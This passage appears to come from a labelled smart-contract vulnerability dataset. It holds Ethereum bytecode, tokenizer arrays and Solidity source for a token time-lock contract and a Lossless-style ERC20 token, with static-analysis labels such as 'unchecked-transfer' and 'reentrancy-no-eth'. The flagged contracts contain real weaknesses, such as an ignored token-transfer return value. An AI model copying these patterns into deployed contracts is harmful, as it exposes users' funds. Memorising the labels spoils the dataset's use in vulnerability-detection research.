ffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f596f7520617265206e6f7420746865206f776e6572000000000000000000000081525060200191505060405180910390fd5b60008390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685600a0a85026040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561078957600080fd5b505af115801561079d573d6000803e3d6000fd5b505050506040513d60208110156107b357600080fd5b81019080805190602001909291905050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f596f7520617265206e6f7420746865206f776e6572000000000000000000000081525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f342827c97908e5e2f71151c08502a66d44b6f758e3ac2f1de95f02eb95f0a73560405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600354839350819150935093509350935090919293565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a97576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f596f7520617265206e6f7420746865206f776e6572000000000000000000000081525060200191505060405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610afe573d6000803e3d6000fd5b50565b60008083118290610bad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610b72578082015181840152602081019050610b57565b50505050905090810190601f168015610b9f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610bb957fe5b049050809150509392505050565b6000610c0983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c11565b905092915050565b6000838311158290610cbe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610c83578082015181840152602081019050610c68565b50505050905090810190601f168015610cb05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a26469706673582212200c20193f048e4d251b5ac6f0e5821ad6273388ebb1536e05b8404eb99228e62a64736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 3540, 2278, 2546, 2620, 16147, 2050, 21619, 5243, 2581, 23352, 2050, 2581, 2278, 2581, 16703, 2692, 2546, 20952, 2620, 27717, 2050, 24096, 2497, 23499, 2546, 26976, 2063, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1014, 1026, 1027, 1014, 1012, 1020, 1012, 1022, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 12324, 1000, 9413, 2278, 11387, 1012, 14017, 1000, 1025, 3206, 3954, 1063, 4769, 3477, 3085, 2270, 3954, 1025, 2724, 5608, 3388, 1006, 4769, 25331, 2214, 12384, 2121, 1010, 4769, 25331, 2047, 12384, 2121, 1007, 1025, 16913, 18095, 2069, 12384, 2121, 1006, 1007, 1063, 5478, 1006, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 3954, 1010, 1000, 2017, 2024, 2025, 1996, 3954, 1000, 1007, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,442
0x96cb90e002c91c13de04a2aadc3aeeafcdbba5b9
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30240000; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x8ad945F070E69c8d72cfCCf989266B6C04234885; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a72305820dfcf79b2bba5ef737c96e749f79207e024d8dae8307005abed0cc4cfa23f66730029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 27421, 21057, 2063, 8889, 2475, 2278, 2683, 2487, 2278, 17134, 3207, 2692, 2549, 2050, 2475, 11057, 16409, 2509, 6679, 5243, 11329, 18939, 3676, 2629, 2497, 2683, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,443
0x96cc63EeF1F63CDE9ACd69061Bfb7606887f26d8
//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } interface ILssController { function beforeTransfer(address _sender, address _recipient, uint256 _amount) external; function beforeTransferFrom(address _msgSender, address _sender, address _recipient, uint256 _amount) external; function beforeApprove(address _sender, address _spender, uint256 _amount) external; function beforeIncreaseAllowance(address _msgSender, address _spender, uint256 _addedValue) external; function beforeDecreaseAllowance(address _msgSender, address _spender, uint256 _subtractedValue) external; function beforeMint(address _to, uint256 _amount) external; function beforeBurn(address _account, uint256 _amount) external; } interface ILERC20 { function name() external view returns (string memory); function admin() external view returns (address); function getAdmin() external view returns (address); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address _account) external view returns (uint256); function transfer(address _recipient, uint256 _amount) external returns (bool); function allowance(address _owner, address _spender) external view returns (uint256); function approve(address _spender, uint256 _amount) external returns (bool); function transferFrom(address _sender, address _recipient, uint256 _amount) external returns (bool); function increaseAllowance(address _spender, uint256 _addedValue) external returns (bool); function decreaseAllowance(address _spender, uint256 _subtractedValue) external returns (bool); function transferOutBlacklistedFunds(address[] calldata _from) external; function setLosslessAdmin(address _newAdmin) external; function transferRecoveryAdminOwnership(address _candidate, bytes32 _keyHash) external; function acceptRecoveryAdminOwnership(bytes memory _key) external; function proposeLosslessTurnOff() external; function executeLosslessTurnOff() external; function executeLosslessTurnOn() external; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event NewAdmin(address indexed _newAdmin); event NewRecoveryAdminProposal(address indexed _candidate); event NewRecoveryAdmin(address indexed _newAdmin); event LosslessTurnOffProposal(uint256 _turnOffDate); event LosslessOff(); event LosslessOn(); } contract BVR is Context, ILERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name = "Basketballverse"; string private _symbol = "BVR"; address public recoveryAdmin; address private recoveryAdminCandidate; bytes32 private recoveryAdminKeyHash; address override public admin; uint256 public timelockPeriod = 86400; uint256 public losslessTurnOffTimestamp; bool public isLosslessOn = true; ILssController public lossless = ILssController(0xe91D7cEBcE484070fc70777cB04F7e2EfAe31DB4); constructor(address admin_, address recoveryAdmin_) { _mint(_msgSender(), 100000000 * 10**18); admin = admin_; recoveryAdmin = recoveryAdmin_; recoveryAdminCandidate = address(0); recoveryAdminKeyHash = ""; losslessTurnOffTimestamp = 0; } // --- LOSSLESS modifiers --- event ConfirmBlacklisted(address blacklisted); modifier lssAprove(address spender, uint256 amount) { if (isLosslessOn) { lossless.beforeApprove(_msgSender(), spender, amount); } _; } modifier lssTransfer(address recipient, uint256 amount) { if (isLosslessOn) { lossless.beforeTransfer(_msgSender(), recipient, amount); } _; } modifier lssTransferFrom(address sender, address recipient, uint256 amount) { if (isLosslessOn) { lossless.beforeTransferFrom(_msgSender(),sender, recipient, amount); } _; } modifier lssIncreaseAllowance(address spender, uint256 addedValue) { if (isLosslessOn) { lossless.beforeIncreaseAllowance(_msgSender(), spender, addedValue); } _; } modifier lssDecreaseAllowance(address spender, uint256 subtractedValue) { if (isLosslessOn) { lossless.beforeDecreaseAllowance(_msgSender(), spender, subtractedValue); } _; } modifier onlyRecoveryAdmin() { require(_msgSender() == recoveryAdmin, "LERC20: Must be recovery admin"); _; } modifier lssBurn(address account, uint256 amount) { if (isLosslessOn) { lossless.beforeBurn(account, amount); } _; } // --- LOSSLESS management --- function transferOutBlacklistedFunds(address[] calldata from) override external { require(_msgSender() == address(lossless), "LERC20: Only lossless contract"); uint256 fromLength = from.length; uint256 totalAmount = 0; for(uint256 i = 0; i < fromLength;) { address fromAddress = from[i]; uint256 fromBalance = _balances[fromAddress]; _balances[fromAddress] = 0; totalAmount += fromBalance; emit Transfer(fromAddress, address(lossless), fromBalance); unchecked{i++;} } _balances[address(lossless)] += totalAmount; } function setLosslessAdmin(address newAdmin) override external onlyRecoveryAdmin { require(newAdmin != admin, "LERC20: Cannot set same address"); emit NewAdmin(newAdmin); admin = newAdmin; } function transferRecoveryAdminOwnership(address candidate, bytes32 keyHash) override external onlyRecoveryAdmin { recoveryAdminCandidate = candidate; recoveryAdminKeyHash = keyHash; emit NewRecoveryAdminProposal(candidate); } function acceptRecoveryAdminOwnership(bytes memory key) override external { require(_msgSender() == recoveryAdminCandidate, "LERC20: Must be canditate"); require(keccak256(key) == recoveryAdminKeyHash, "LERC20: Invalid key"); emit NewRecoveryAdmin(recoveryAdminCandidate); recoveryAdmin = recoveryAdminCandidate; recoveryAdminCandidate = address(0); } function proposeLosslessTurnOff() override external onlyRecoveryAdmin { require(losslessTurnOffTimestamp == 0, "LERC20: TurnOff already proposed"); require(isLosslessOn, "LERC20: Lossless already off"); losslessTurnOffTimestamp = block.timestamp + timelockPeriod; emit LosslessTurnOffProposal(losslessTurnOffTimestamp); } function executeLosslessTurnOff() override external onlyRecoveryAdmin { require(losslessTurnOffTimestamp != 0, "LERC20: TurnOff not proposed"); require(losslessTurnOffTimestamp <= block.timestamp, "LERC20: Time lock in progress"); isLosslessOn = false; losslessTurnOffTimestamp = 0; emit LosslessOff(); } function executeLosslessTurnOn() override external onlyRecoveryAdmin { require(!isLosslessOn, "LERC20: Lossless already on"); losslessTurnOffTimestamp = 0; isLosslessOn = true; emit LosslessOn(); } function getAdmin() override public view virtual returns (address) { return admin; } // --- ERC20 methods --- function name() override public view virtual returns (string memory) { return _name; } function symbol() override public view virtual returns (string memory) { return _symbol; } function decimals() override public view virtual returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override lssTransfer(recipient, amount) returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override lssAprove(spender, amount) returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override lssTransferFrom(sender, recipient, amount) returns (bool) { uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "LERC20: transfer amount exceeds allowance"); _transfer(sender, recipient, amount); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) override public virtual lssIncreaseAllowance(spender, addedValue) returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) override public virtual lssDecreaseAllowance(spender, subtractedValue) returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "LERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "LERC20: transfer from the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "LERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function burn(uint256 amount) public virtual lssBurn(_msgSender(), amount) { _burn(_msgSender(), amount); } function burnFrom(address account, uint256 amount) public virtual lssBurn(account, amount) { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "LERC20: burn amount exceeds allowance"); unchecked { _approve(account, _msgSender(), currentAllowance - amount); } _burn(account, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "LERC20: mint to the zero address"); _totalSupply += amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { _balances[account] += amount; } emit Transfer(address(0), account, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "LERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "LERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); } }
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c80636e9960c3116100f9578063a9059cbb11610097578063ccfa214f11610071578063ccfa214f14610498578063d6e242b8146104b6578063dd62ed3e146104c0578063f851a440146104f0576101a9565b8063a9059cbb14610442578063b38fe95714610472578063b5c228771461047c576101a9565b806393310ffe116100d357806393310ffe146103bc578063936af911146103d857806395d89b41146103f4578063a457c2d714610412576101a9565b80636e9960c31461035257806370a082311461037057806379cc6790146103a0576101a9565b8063313ce5671161016657806342966c681161014057806342966c68146102f05780635b8a194a1461030c5780635f6529a31461031657806361086b0014610334576101a9565b8063313ce5671461028457806334f6ebf5146102a257806339509351146102c0576101a9565b806306fdde03146101ae578063095ea7b3146101cc57806318160ddd146101fc57806323b872dd1461021a5780632baa3c9e1461024a5780632ecaf67514610266575b600080fd5b6101b661050e565b6040516101c39190612707565b60405180910390f35b6101e660048036038101906101e19190612237565b6105a0565b6040516101f391906126d1565b60405180910390f35b610204610670565b6040516102119190612949565b60405180910390f35b610234600480360381019061022f91906121a4565b61067a565b60405161024191906126d1565b60405180910390f35b610264600480360381019061025f9190612137565b610831565b005b61026e6109e0565b60405161027b9190612949565b60405180910390f35b61028c6109e6565b6040516102999190612964565b60405180910390f35b6102aa6109ef565b6040516102b791906126ec565b60405180910390f35b6102da60048036038101906102d59190612237565b610a15565b6040516102e791906126d1565b60405180910390f35b61030a6004803603810190610305919061230d565b610b73565b005b610314610c37565b005b61031e610d6f565b60405161032b9190612611565b60405180910390f35b61033c610d95565b6040516103499190612949565b60405180910390f35b61035a610d9b565b6040516103679190612611565b60405180910390f35b61038a60048036038101906103859190612137565b610dc5565b6040516103979190612949565b60405180910390f35b6103ba60048036038101906103b59190612237565b610e0d565b005b6103d660048036038101906103d191906121f7565b610f31565b005b6103f260048036038101906103ed9190612277565b611057565b005b6103fc6112d7565b6040516104099190612707565b60405180910390f35b61042c60048036038101906104279190612237565b611369565b60405161043991906126d1565b60405180910390f35b61045c60048036038101906104579190612237565b611510565b60405161046991906126d1565b60405180910390f35b61047a6115e0565b005b610496600480360381019061049191906122c4565b611753565b005b6104a0611942565b6040516104ad91906126d1565b60405180910390f35b6104be611955565b005b6104da60048036038101906104d59190612164565b611acf565b6040516104e79190612949565b60405180910390f35b6104f8611b56565b6040516105059190612611565b60405180910390f35b60606003805461051d90612b52565b80601f016020809104026020016040519081016040528092919081815260200182805461054990612b52565b80156105965780601f1061056b57610100808354040283529160200191610596565b820191906000526020600020905b81548152906001019060200180831161057957829003601f168201915b5050505050905090565b60008282600b60009054906101000a900460ff161561065257600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166347abf3be6105ff611b7c565b84846040518463ffffffff1660e01b815260040161061f93929190612671565b600060405180830381600087803b15801561063957600080fd5b505af115801561064d573d6000803e3d6000fd5b505050505b61066461065d611b7c565b8686611b84565b60019250505092915050565b6000600254905090565b6000838383600b60009054906101000a900460ff161561072f57600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663379f5c696106da611b7c565b8585856040518563ffffffff1660e01b81526004016106fc949392919061262c565b600060405180830381600087803b15801561071657600080fd5b505af115801561072a573d6000803e3d6000fd5b505050505b6000600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061077a611b7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050858110156107fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f190612789565b60405180910390fd5b610805888888611c6f565b61082288610811611b7c565b888461081d9190612a47565b611b84565b60019450505050509392505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610872611b7c565b73ffffffffffffffffffffffffffffffffffffffff16146108c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108bf90612869565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610959576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095090612729565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff167f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c60405160405180910390a280600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60095481565b60006012905090565b600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008282600b60009054906101000a900460ff1615610ac757600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cf5961bb610a74611b7c565b84846040518463ffffffff1660e01b8152600401610a9493929190612671565b600060405180830381600087803b158015610aae57600080fd5b505af1158015610ac2573d6000803e3d6000fd5b505050505b610b67610ad2611b7c565b868660016000610ae0611b7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b6291906129f1565b611b84565b60019250505092915050565b610b7b611b7c565b81600b60009054906101000a900460ff1615610c2157600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634a1fefbd83836040518363ffffffff1660e01b8152600401610bee9291906126a8565b600060405180830381600087803b158015610c0857600080fd5b505af1158015610c1c573d6000803e3d6000fd5b505050505b610c32610c2c611b7c565b84611e73565b505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c78611b7c565b73ffffffffffffffffffffffffffffffffffffffff1614610cce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc590612869565b60405180910390fd5b600b60009054906101000a900460ff1615610d1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1590612889565b60405180910390fd5b6000600a819055506001600b60006101000a81548160ff0219169083151502179055507f1ba3b66404043da8297d0b876fa6464f2cb127edfc6626308046d4503028322b60405160405180910390a1565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b8181600b60009054906101000a900460ff1615610eb457600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634a1fefbd83836040518363ffffffff1660e01b8152600401610e819291906126a8565b600060405180830381600087803b158015610e9b57600080fd5b505af1158015610eaf573d6000803e3d6000fd5b505050505b6000610ec785610ec2611b7c565b611acf565b905083811015610f0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0390612929565b60405180910390fd5b610f2085610f18611b7c565b868403611b84565b610f2a8585611e73565b5050505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f72611b7c565b73ffffffffffffffffffffffffffffffffffffffff1614610fc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbf90612869565b60405180910390fd5b81600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550806007819055508173ffffffffffffffffffffffffffffffffffffffff